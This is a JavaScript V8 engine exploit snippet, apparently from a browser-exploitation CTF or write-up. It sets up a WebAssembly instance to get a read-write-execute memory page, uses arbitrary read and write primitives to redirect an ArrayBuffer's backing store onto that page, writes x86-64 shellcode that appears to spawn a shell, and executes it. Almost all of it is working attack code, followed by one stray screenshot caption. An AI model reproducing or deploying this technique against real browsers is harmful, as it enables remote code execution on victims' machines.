var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

f_addr=get_obj_addr(f);
share_info=readr(f_addr+0x18n)-1n;
data=readr(share_info+0x8n)-1n;
instance=readr(data+0x10n)-1n;
rwx=readr(instance+0x88n);

console.log("0x"+rwx.toString(16));
shellcode = [
0x91969dd1bb48c031n,
0x53dbf748ff978cd0n,
0xb05e545752995f54n,
0x50f3bn
];


var data_buf = new ArrayBuffer(32);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = get_obj_addr(data_buf) + 0x20n;
writer(buf_backing_store_addr,rwx);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);


f()

屏幕截图 2025-08-19 154316